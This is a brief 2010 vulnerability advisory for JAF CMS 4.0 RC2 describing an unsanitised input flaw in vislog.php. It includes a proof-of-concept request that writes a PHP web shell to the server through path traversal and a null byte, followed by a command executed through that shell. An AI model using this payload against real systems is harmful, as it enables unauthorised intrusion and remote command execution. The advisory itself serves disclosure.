Vulnerability ID: HTB22665 Reference: http://www.htbridge.ch/advisory/shell_create__command_execution_in_jaf_cms.html Product: JAF CMS Vendor: JAF CMS ( http://jaf-cms.sourceforge.net/ ) Vulnerable Version: 4.0 RC2 Vendor Notification: 21 October 2010 Vulnerability Type: Shell create & command execution Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/module/log/vislog.php" script to properly sanitize user-supplied input, it's possible to create/read any file. The following PoC is available: creating shell: http://[host]/module/log/vislog.php?_SERVER[%27PHP_SELF%27]=1&from=%3c%3f+system(%24_GET%5b%27cmd%27%5d)%3b+%3f%3e&root=../../123.php%00 command execute: http://[host]/123.php?cmd=ls
